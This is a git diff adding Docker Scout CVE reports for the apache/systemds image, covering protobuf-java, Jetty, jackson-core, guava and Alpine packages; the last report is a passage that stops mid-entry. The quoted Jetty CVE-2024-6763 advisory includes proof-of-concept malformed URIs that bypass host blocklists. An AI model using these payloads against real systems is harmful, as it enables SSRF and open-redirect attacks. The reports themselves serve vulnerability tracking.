docker/scout_results/alpine-apk-cves/sysds_output18.md diff --git a/docker/scout_results/alpine-apk-cves/sysds_output17.md b/docker/scout_results/alpine-apk-cves/sysds_output17.md new file mode 100644 index 00000000000..6019a8d4b87 --- /dev/null +++ b/docker/scout_results/alpine-apk-cves/sysds_output17.md @@ -0,0 +1,627 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:88af08b1a5207a47ae051e92353341c96005743e6d6311c4285a3ab51e95d4d3
vulnerabilitiescritical: 0 high: 7 medium: 11 low: 1 unspecified: 1
platformlinux/amd64
size396 MB
packages345
+
+ + + + + + + + + + + + + + + + + + + + + + +
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.065%
EPSS Percentile20th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 busybox 1.36.1-r31 (apk) + +pkg:apk/alpine/busybox@1.36.1-r31?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r31
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/scout_results/alpine-apk-cves/sysds_output18.md b/docker/scout_results/alpine-apk-cves/sysds_output18.md new file mode 100644 index 00000000000..049bd95dfbc --- /dev/null +++ b/docker/scout_results/alpine-apk-cves/sysds_output18.md @@ -0,0 +1,571 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:5e861903b7abb730c237a819a6c22dc0d2e1f07f46c2df74c220314377afea72
vulnerabilitiescritical: 0 high: 6 medium: 9 low: 1 unspecified: 1
platformlinux/amd64
size397 MB
packages343
+
+ + + + + + + + + + + + + + + + + + + + +
+
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) + +pkg:maven/com.google.protobuf/protobuf-java@3.7.1
+high 8.7: CVE--2024--7254 Improper Input Validation + + + + + + + + +
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
+ +
Description +
+ +### Summary +When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. + +Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team + +Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +### Severity +[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) +This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. + +### Proof of Concept +For reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness. + +### Remediation and Mitigation +We have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages: +* protobuf-java (3.25.5, 4.27.5, 4.28.2) +* protobuf-javalite (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2) +* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2) +* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2) + +
+
+ +high 7.5: CVE--2022--3510 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.130%
EPSS Percentile33rd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.033%
EPSS Percentile9th percentile
+ +
Description +
